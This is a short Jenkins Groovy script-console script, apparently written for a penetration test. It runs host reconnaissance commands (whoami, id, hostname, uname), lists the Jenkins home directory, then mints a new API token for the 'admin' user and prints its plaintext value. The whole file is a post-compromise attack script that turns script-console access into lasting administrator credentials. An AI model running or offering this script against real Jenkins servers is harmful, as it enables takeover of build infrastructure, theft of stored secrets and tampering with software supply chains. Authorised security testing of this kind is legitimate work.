import jenkins.model.Jenkins
import jenkins.security.apitoken.*

println "=====HOST_CONTEXT====="
println "whoami: ${"whoami".execute().text.trim()}"
println "id: ${"id".execute().text.trim()}"
println "hostname: ${"hostname".execute().text.trim()}"
println "uname: ${"uname -a".execute().text.trim()}"
println "JENKINS_HOME: ${Jenkins.instance.getRootDir().getAbsolutePath()}"
try {
  def home = Jenkins.instance.getRootDir()
  println "JENKINS_HOME_listing:"
  home.listFiles().each { f ->
    println "  ${f.isDirectory() ? "[D]" : "[F]"} ${f.name} ${f.length()}"
  }
} catch(Exception e) {}

println ""
println "=====L3_4_MINT_API_TOKEN====="
try {
  def adminUser = Jenkins.instance.getUser("admin")
  def tokenStore = adminUser.getApiTokenStore()

  def existing = tokenStore.tokenListByName
  println "existing_tokens: ${existing ? existing.size() : 0}"

  def result = ApiTokenStore.generateNewToken(adminUser, "scope-test-2026-09-29")
  println "TOKEN_MINTED: YES"
  println "TOKEN_NAME: scope-test-2026-09-29"
  println "TOKEN_VALUE: ${result.plainValue}"
  println "TOKEN_UUID: ${result.token.uuid}"
  println "TOKEN_CREATED: ${new Date()}"
} catch(Exception e) {
  println "TOKEN_MINT_ERR: ${e.class.name}: ${e.message}"
  e.printStackTrace()
}

println "=====DONE====="
